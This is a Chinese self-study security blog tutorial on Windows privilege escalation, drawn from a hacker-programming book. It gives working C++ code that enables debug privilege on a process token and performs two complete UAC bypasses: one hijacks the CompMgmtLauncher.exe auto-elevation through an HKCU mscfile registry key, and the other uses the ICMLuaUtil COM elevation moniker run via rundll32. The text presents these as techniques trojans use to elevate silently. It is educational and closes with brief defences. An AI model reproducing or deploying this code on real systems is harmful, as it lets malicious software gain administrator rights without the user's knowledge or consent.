這是作者網路安全自學教程系列,主要是關于安全工具和實踐操作的在線筆記,特分享出來與博友們學習,希望您喜歡,一起進步,這篇文章將帶著大家來學習《Windows黑客編程技術詳解》,其作者是甘迪文老師,推薦大家購買來學習,作者將采用實際編程和圖文結合的方式進行分享,并且會進一步補充相關知識點,第六篇文章主要介紹木馬病毒提權技術,包括行程訪問令牌權限提升和Bypass UAC,希望對您有所幫助,
如果把權限看作是門禁卡,那么計算機便是一棟擁有許多門禁的大樓,要想進入一個房間或辦公室,則需要擁有對應房間的門禁卡,對于低權限,即擁有很少數量的門禁卡,能去的也只有廁所之類的無關緊要的地方,無法進入層層設防的保密辦公室,這樣,即使病毒木馬成功混入計算機這所大樓,如果沒有足夠的權限,也不能竊取或修改計算機中的關鍵資料,殺傷力有限,
因此,提權技術(從低權限獲取高權限的技術)成為大多數病毒木馬必備技術,

計算機上有哪些操作需要提權呢?作業系統處于安全考慮,對不同的作業系統劃分了權限,例如創建或修改系統服務、修改HKEY_LOCAL_MACHINE注冊表鍵或重啟移動檔案等操作,均需要管理員權限,普通權限操作會失敗,
同時,從VISTA系統引入了UAC(用戶賬戶控制),涉及權限操作時都會有彈窗提示,只有用戶點擊確認后,方可繼續操作,所以,VISTA之后的提權操作主要是針對UAC不彈窗靜默提權,即Bypass UAC,

文章目錄
- 一.行程訪問令牌權限提升
- 1.函式介紹
- 2.實作原理
- 3.編程實作
- 二.Bypass UAC
- 1.基于白名單程式的Bypass UAC
- 2.基于COM組件介面的Bypass UAC
- 三.總結
作者的github資源:
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp
宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,
前文學習:
[網路安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網路安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透決議及登錄加密入門筆記
[網路安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網路安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網路安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
[網路安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網路安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網路安全自學篇] 八.Web漏洞及埠掃描之Nmap、ThreatScan和DirBuster工具
[網路安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、檔案屬性
[網路安全自學篇] 十.論文之基于機器學習演算法的主機惡意代碼
[網路安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網路安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網路安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及資料流追蹤和影像抓取(二)
[網路安全自學篇] 十四.Python攻防之基礎常識、正則運算式、Web編程和套接字通信(一)
[網路安全自學篇] 十五.Python攻防之多執行緒、C段掃描和資料庫編程(二)
[網路安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
[網路安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網路安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網路安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網路安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網路安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網路安全自學篇] 二十二.Web滲透之網站資訊、域名資訊、埠資訊、敏感資訊及指紋資訊收集
[網路安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
[網路安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
[網路安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令列呼叫
[網路安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求引數設定(一)
[網路安全自學篇] 二十八.檔案上傳漏洞和Caidao入門及防御原理(一)
[網路安全自學篇] 二十九.檔案上傳漏洞和IIS6.0決議漏洞及防御原理(二)
[網路安全自學篇] 三十.檔案上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
[網路安全自學篇] 三十一.檔案上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網路安全自學篇] 三十二.檔案上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網路安全自學篇] 三十三.檔案上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網路安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
[網路安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網路安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟體自啟動劫持
[網路安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
[網路安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網路安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網路安全自學篇] 四十.phpMyAdmin 4.8.1后臺檔案包含漏洞復現及詳解(CVE-2018-12613)
[網路安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網路安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網路安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網路安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網路安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、行程關閉)
[網路安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行檔案簽名復現
[網路安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
[網路安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及黑客常用DOS命令
[網路安全自學篇] 四十九.Procmon軟體基本用法及檔案行程、注冊表查看
[網路安全自學篇] 五十.虛擬機基礎之安裝XP系統、檔案共享、網路快照設定及Wireshark抓取BBS密碼
[網路安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網路安全自學篇] 五十二.Windows漏洞利用之堆疊溢位原理和堆疊保護GS機制
[網路安全自學篇] 五十三.Windows漏洞利用之Metasploit實作堆疊溢位攻擊及反彈shell
[網路安全自學篇] 五十四.Windows漏洞利用之基于SEH例外處理機制的堆疊溢位攻擊及shell提取
[網路安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
[網路安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網路安全自學篇] 五十七.PE檔案逆向之什么是數字簽名及Signtool簽名工具詳解(一)
[網路安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網路安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網路安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
[網路安全自學篇] 六十一.PE檔案逆向之數字簽名詳細決議及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網路安全自學篇] 六十二.PE檔案逆向之PE檔案決議、PE編輯工具使用和PE結構修改(三)
[網路安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網路安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網路安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網路安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網路安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
[網路安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒決議
[網路安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
[網路安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網路安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
[網路安全自學篇] 七十二.逆向分析之OllyDbg動態除錯工具(一)基礎入門及TraceMe案例分析
[網路安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網原始碼詳細解讀
[網路安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網路安全自學篇] 七十五.Vulnhub靶機滲透之bulldog資訊收集和nc反彈shell(三)
[網路安全自學篇] 七十六.逆向分析之OllyDbg動態除錯工具(二)INT3斷點、反除錯、硬體斷點與記憶體斷點
[網路安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網路安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[網路安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、檔案包含、過濾繞過、SQL注入)
[網路安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(檔案上傳漏洞、冰蝎蟻劍、反序列化phar)
[網路安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
[網路安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
[網路安全自學篇] 八十四.《Windows黑客編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
[網路安全自學篇] 八十五.《Windows黑客編程技術詳解》之注入技術詳解(全域鉤子、遠執行緒鉤子、突破Session 0注入、APC注入)
[網路安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
[網路安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
[網路安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
[網路安全自學篇] 八十九.PE檔案決議之通過Python獲取時間戳判斷軟體來源地區
[網路安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
[網路安全自學篇] 九十一.阿里云搭建LNMP環境及實作PHP自定義網站IP訪問 (1)
[網路安全自學篇] 九十二.《Windows黑客編程技術詳解》之病毒啟動技術創建行程API、突破SESSION0隔離、記憶體加載詳解(3)
[網路安全自學篇] 九十三.《Windows黑客編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)
前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包
一.行程訪問令牌權限提升
病毒木馬想要實作一些關鍵的系統操作時,往往要求執行操作的行程擁有足夠的權限,比如,通過呼叫ExitWindows函式實作關機或重啟操作時,它就要求行程要有 SE_SHUTDOWN_NAME 權限,否則會忽視操作不執行,這時,程式能夠做的便是按照要求提升行程群賢,第一部分通過介紹提升行程訪問令牌的權限,
1.函式介紹
(1) OpenProcessToken函式
打開與行程關聯的訪問令牌,
BOOL OpenProcessToken(
HANDLE ProcessHandle, //要修改訪問權限的行程句柄
DWORD DesiredAccess, //訪問掩碼,要對令牌進行何種操作
PHANDLE TokenHandle //回傳的訪問令牌指標
);
(2) LookupPrivilegevalue函式
查看系統權限的特權值,回傳資訊到一個LUID結構體,
BOOL LookupPrivilegevalue(
LPCTSTR lpSystemName, //指向要獲取特權值的系統名稱
LPCTSTR lpName, //特權名稱
PLUID lpLuid //指向LUID變數的指標
);
(3) AdjustTokenPrivileges函式
啟用或禁用指定訪問令牌中的權限,在訪問令牌中啟用或禁用權限時需要 TOKEN_ADJUST_PRIVILEGES 訪問,
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //handle to token
BOOL DisableAllPrivileges, //disabling option
PTOKEN_PRIVILEGES NewState, //privilege information
DWORD BufferLength, //size of buffer
PTOKEN_PRIVILEGES PreviousState, //original state buffer
PDWORD ReturnLength //required buffer size
);
其中,操作型別及特權屬性Attributes可以是如下常量:
SE_PRIVILEGE_ENABLED //使特權有效
SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特權默認有效
SE_PRIVILEGE_REMOVED //移除該特權
SE_PRIVILEGE_USED_FOR_ACCESS //取得物件或服務的訪問權
2.實作原理
(1) 使用場景
病毒木馬想要實作一些關鍵的系統操作時,并且行程訪問令牌權限提升的實作步驟較為固定,
(2) 實作流程
- 打開行程訪問令牌
- 取得特權的LUID值
- 調整訪問令牌特權值
首先獲取行程的訪問令牌,然后將訪問令牌的權限修改為指定權限,但是系統內部并不直接識別權限名稱,而是識別LUID值,所以需要根據權限名稱獲取對應的LUID值,之后傳遞給系統,實作行程訪問令牌權限的修改,
(3) 實作步驟
-
獲取指定行程的訪問令牌,需要獲取權限的令牌句柄為 TOKEN_ADJUST_PRIVILEGES
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken) -
獲取本地系統指定特權名稱的LUID值,LUID值相當于該特權的身份標號
LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue) -
創建一個新的行程令牌特權結構體 TOKEN_PRIVILEGES,并對其進行賦值,設定新特權的數量、特權對應的LUID值以及特權的屬性狀態
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED -
呼叫 AdjustTokenPrivileges 函式對行程令牌的特權進行修改
AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)
3.編程實作
第一步,新建C++空專案,專案名稱為“Tiquan01”,

第二步,新建源檔案“main.cpp”,

第三步,撰寫代碼獲取當前行程號,
#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;
#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif
//主函式
int main(int argc, char* argv[])
{
//獲取當前行程號
int iPid = (int)_getpid();
std::cout << "The process id is: " << iPid << std::endl;
system("PAUSE");
return 0;
}
輸出結果如下圖所示,可以看到我們的程式Tiquan01.exe行程為18512,

第四步,通過子函式實作行程訪問令牌的提升權限,
#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;
#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif
//顯示錯誤資訊
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
/*----------------------------------------------------------------
函式名: CPrivilgeEscalationDlg::EnableDebugPrivilege
回傳型別: BOOL
功能: 提升行程訪問令牌權限
引數1: 需要提升權限的行程句柄
引數2: 特權名稱
----------------------------------------------------------------*/
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
//打開行程令牌并獲取具有 TOKEN_ADJUST_PRIVILEGES 權限的行程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
ShowError("OpenProcessToken");
return FALSE;
}
//獲取本地系統的 pszPrivilegesName 特權的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
ShowError("LookupPrivilegeValue");
return FALSE;
}
//設定提升權限資訊
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//提升行程令牌訪問權限
bRet = ::AdjustTokenPrivileges(
hToken, //令牌句柄
FALSE, //是否禁用權限
&tokenPrivileges, //新的特權的權限資訊
0, //特權資訊大小
NULL, //用來接收特權資訊當前狀態的buffer
NULL //緩沖區大小
);
if (FALSE == bRet) {
ShowError("AdjustTokenPrivileges");
return FALSE;
}
else {
//根據錯誤碼判斷是否特權都設定成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}
//主函式
int main(int argc, char* argv[])
{
//獲取當前行程號
int iPid = (int)_getpid();
std::cout << "The process id is: " << iPid << std::endl;
//修改當前行程令牌訪問權限
if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME))
{
printf("Enable Privileges Error!\n");
}
printf("Enable Privileges OK!\n");
system("PAUSE");
return 0;
}
運行結果如下圖所示,注意需要以管理員權限運行,否則會提示相關錯誤,

問題:怎么判斷我是否提權成功呢?
同時,編程程序中會遇到各種錯誤,請大家一定實際去撰寫代碼,學會谷歌百度獨立解決, 比如"const char *"型別的實參與“LPCWSTR”型別的形參不兼容,基本的解決方法如下:
- 配置屬性 -> 常規 -> 字符集 -> 使用多位元組字符集
- C/C++ -> SDL檢查-> 否
- C/C++ -> 語言 -> 符合模式 -> 否

二.Bypass UAC
UAC(User Account Control)是微軟在Windows VISTA以后版本中引入的一種安全機制,通過UAC,應用程式和任務可始終在非管理員賬戶的安全背景關系中運行,除非特別授予管理員級別的系統訪問權限,UAC可以阻止未授權的應用程式自動進行安裝,并防止無意地更改系統,

UAC需要授權的動作包括:配置Windows Update、增加或洗掉用戶賬戶、改變用戶賬戶的型別、改變UAC設定、安裝ActiveX、安裝或移除程式、安裝設備驅動程式、設定家長控制、將檔案移動或復制到Program Files或Windows目錄、查看其他用戶檔案夾等,
觸發UAC時,系統會創建一個consent.exe行程,該行程通過白名單程式和用戶選擇來判斷是否創建管理員權限行程,請求行程將要請求的行程cmdline和行程路徑通過LPC介面傳遞給 appinfo 的 RAiLuanchAdminProcess 函式,流程如下:
- 該函式首選驗證路徑是否在白名單中
- 接著將結果傳遞給consent.exe行程
- 該行程驗證請求行程的簽名以及發起者的權限是否符合要求后,決定是否彈出UAC視窗讓用戶確認
- UAC視窗會創建新的安全桌面,屏蔽之前的界面,同時UAC視窗行程是系統權限行程,其他普通行程無法和其進行通信互動,用戶確認后,呼叫 CreateProcessAsUser 函式以管理員身份啟動請求的行程
病毒木馬如果想要實作更多的權限操作,那么就不得不繞過UAC彈窗,在沒有通知用戶的情況下,靜默地將程式的普通權限提升為管理員權限,從而使程式可以實作一些需要權限的操作,目前實作Bypass UAC主要有兩種方法:
- 一種是利用白名單提權機制
- 一種是利用COM組件介面技術
1.基于白名單程式的Bypass UAC
有些系統程式可以直接獲取管理員權限,而不觸發UAC彈框,這類程式成為白名單程式,例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等,這些白名單程式可以通過DLL劫持、注入或是修改注冊表執行命令的方式啟動目標程式,實作Bypass UAC提權操作,
下面選擇白名單程式 CompMgmtLauncher.exe 進行詳細分析,利用它實作Bypass UAC提權,分析的環境是64位Windows 10作業系統,使用的工具是行程監控器Procmon.exe,
第一步,在System32目錄下運行 CompMgmtLauncher.exe 程式,

此時并沒有出現UAC彈窗就直接顯示計算機管理的視窗界面,

第二步,使用procmon軟體監控該行程的所有操作,
主要是監控注冊表和檔案的操作,設定行程名為CompMgmtLauncher.exe過濾即可,

輸出結果如下圖所示:

第三步,分析該行程注冊表操作,
Procmon監控資料分析發現,計算機管理行程會先查詢注冊表中資料,
- HKCU\Software\Classes\mscfile\shell\open\command
發現該路徑不存在后,繼續查詢注冊表中的資料并讀取,
- HKCR\mscfile\shell\open\command(Default)
該注冊表路徑中存盤著mmc.exe行程的路徑資訊,如下圖所示,然后,計算機管理程式會根據讀取到的路徑啟動程式,顯示計算機管理的視窗界面,
疑惑:如何通過該軟體定位行程的執行邏輯或操作流程?感覺不是Procmon就能實作的,

注冊表中內容對應如下:
- %SystemRoot%\system32\mmc.exe “%1” %*

第四步,手動構造注冊表路徑彈窗cmd命令列程式,
在 CompMgmtLauncher.exe 啟動的程序中,有一個關鍵的操作就是它會先讀取注冊表的資料,
- HKCU\Software\Classes\mscfile\shell\open\command
我們開系統注冊表編輯器regedit.exe,查看相應路徑下的注冊表,發現該注冊表路徑確實不存在,所以,如果自己構造該注冊路徑,寫入啟動程式的路徑,這樣,CompMgmtLauncher.exe便會啟動該程式,為了驗證這個猜想,自己手動添加該注冊表路徑,并設定默認的資料為C:\Windows\System32\cmd.exe,

注冊表修改如下:

然后使用Procmon.exe進行監控并運行CompMgmtLauncher.exe,成功彈出cmd.exe命令列視窗,而且提示管理員權限,如下圖所示,注意左上角顯示的是“計算機管理”而不再是“CMD”,

查看Procmon.exe的監控資料,CompMgmtLauncher.exe確實直接讀取注冊表路徑中的資料并啟動,
第五步,撰寫代碼實作相關功能,
利用CompMgmtLauncher.exe白名單程式Bypass UAC提權的原理講到這里,接下來撰寫程式創建并添加注冊表,并寫入自定義的程式路徑,
- HKCU\Software\Classes\mscfile\shell\open\command(Default)
具體Bypass UAC代碼如下,運行計算機管理程式即可完成Bypass UAC提權操作,其中,HKEY_CURRENT_USER是用戶注冊表,程式使用普通權限即可進行修改,
Tiquan02完整代碼
#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;
//顯示錯誤資訊
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}
//修改注冊表
BOOL SetReg(char* lpszExePath)
{
HKEY hKey = NULL;
//創建項
::RegCreateKeyEx(HKEY_CURRENT_USER,
"Software\\Classes\\mscfile\\Shell\\Open\\Command",
0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL == hKey) {
ShowError("RegCreateKeyEx");
return FALSE;
}
//設定鍵值
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
//關閉注冊表
::RegCloseKey(hKey);
return TRUE;
}
//主函式
int main(int argc, char* argv[])
{
BOOL bRet = FALSE;
PVOID OldValue = NULL;
// 關閉檔案重定位
::Wow64DisableWow64FsRedirection(&OldValue);
// 修改注冊表
bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
if (bRet) {
// 運行 CompMgmtLauncher.exe
system("CompMgmtLauncher.exe");
printf("Run OK!\n");
}
else {
printf("Run ERROR!\n");
}
// 恢復檔案重定位
::Wow64RevertWow64FsRedirection(OldValue);
system("pause");
return 0;
}
輸出結果如下圖所示,360成功識別在劫持程式,點擊允許后及彈出對應的計算機管理CMD,

該程式成功利用白名單程式實作了Bypass UAC提權操作,并向注冊表中寫入cmd程式并啟動,其實這也算一種利用白名單的程式劫持,最終效果如下圖所示,

2.基于COM組件介面的Bypass UAC
COM提升名稱(COM Elevation Moniker)技術允許運行在用戶帳戶控制(UAC)下的應用程式,以提升權限的方法來激活COM類,最終提升COM介面權限,其中,ICMLuaUtil 介面提供了ShellExec方法來執行命令,創建指定行程,所以,接下來介紹的基于 ICMLuaUtil 介面的Bypass UAC的實作原理,它是利用COM提升名稱來對 ICMLuaUtil 介面提權,提權后通過呼叫ShellExec方法來創建指定行程,實作Bypass UAC操作,
使用權限提升COM類的程式必須調通過用CoCreateInstanceAsAdmin函式來創建COM類,COM提升名稱具體的實作代碼如下:
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM環境
::CoInitialize(NULL);
// 構造字串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
return hr;
}
// 設定BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 創建名稱物件并獲取COM物件
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}
執行上述代碼,即可創建并激活提升權限的COM類,ICMLuaUtil 介面通過上述方法創建后,直接呼叫ShellExec方法創建指定行程,完成Bypass UAC的操作,基于ICMLuaUtil介面Bypass UAC的具體實作代碼如下所示:
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil *CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 提權
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
if (FAILED(hr))
{
break;
}
// 啟動程式
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
if (FAILED(hr))
{
break;
}
bRet = TRUE;
}while(FALSE);
// 釋放
if (CMLuaUtil)
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}
要注意的是,如果執行COM提升名稱(COM Elevation Moniker)代碼的程式身份是不可信的,則會觸發UAC彈窗;若可信,則不會觸發UAC彈窗,所以,要想Bypass UAC,則需要想辦法讓這段代碼在Windows的可信程式中運行,其中,可信程式有計算器、記事本、資源管理器、rundll32.exe等,
因此可以通過DLL注入或是劫持等技術,將這段代碼注入到這些可信程式的行程空間中執行,其中,最簡單的莫過于直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼,利用rundll32.exe來呼叫自定義DLL中的匯出函式,匯出函式的引數和回傳值是有特殊規定的,必須是如下形式,
// 匯出函式給rundll32.exe呼叫執行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
將上述Bypass UAC的代碼寫在DLL的專案工程中,同時開發Test控制臺專案工程,負責并將BypassUAC函式匯出給rundll32.exe程式呼叫,完成Bypass UAC作業,
Test代碼如下:
#include "stdafx.h"
#include <Windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
char szCmdLine[MAX_PATH] = { 0 };
char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll";
::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
::WinExec(szCmdLine, SW_HIDE);
printf("Run OK.\n");
system("pause");
return 0;
}

Bypass UAC啟動的是cmd.exe程式,所以,直接運行Test.exe即可看到cmd.exe命令列視窗,而且視窗標題有管理員字樣,運行結果如下圖所示,

三.總結
寫到這里,這篇文章就介紹完畢,希望對您有所幫助,最后進行簡單的總結下,本文講解了行程訪問令牌權限提升和Bypass UAC(白名單和COM組件),其實,Bypass UAC的方法有很多,對于不同的Bypass UAC方法,具體的實作程序不太一樣,需要我們不斷去摸索,同時,隨著作業系統不斷升級更新,Bypass UAC技術可能不再適應(被打補丁),但也會有新的方法出現,大家可以去github上關注UACME開源專案,
最后補充防止Bypass UAC的方法:
- 不要給普通用戶設定管理員權限
- 在“更改用戶賬戶控制設定”中,將用戶賬戶控制(UAC)設定為“始終通知”
注意,不要覺得這些技術代碼實作容易就簡單,很多木馬、病毒、APT攻擊都用到了它們,不要小瞧任何一個技術,只有把這些技術組合起來威脅更大,同樣,作為反病毒或安全分析人員,我們需要了解各種技術,只有知道怎么攻擊和原理才能更好地防守,
學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行,
(By:Eastmount 2020-09-12 星期一 晚上11點寫于武漢 http://blog.csdn.net/eastmount/ )
2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,

參考文獻:
[1]《Windows黑客編程技術詳解》甘迪文老師
[2] 行程訪問令牌權限提升 - 自己的小白
[3] windows行程提權(C語言實作) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/34785.html
標籤:其他
上一篇:HarmonyOS 鴻蒙入門教程之01 基礎環境和開發工具 (教程含原始碼)
下一篇:社會工程學
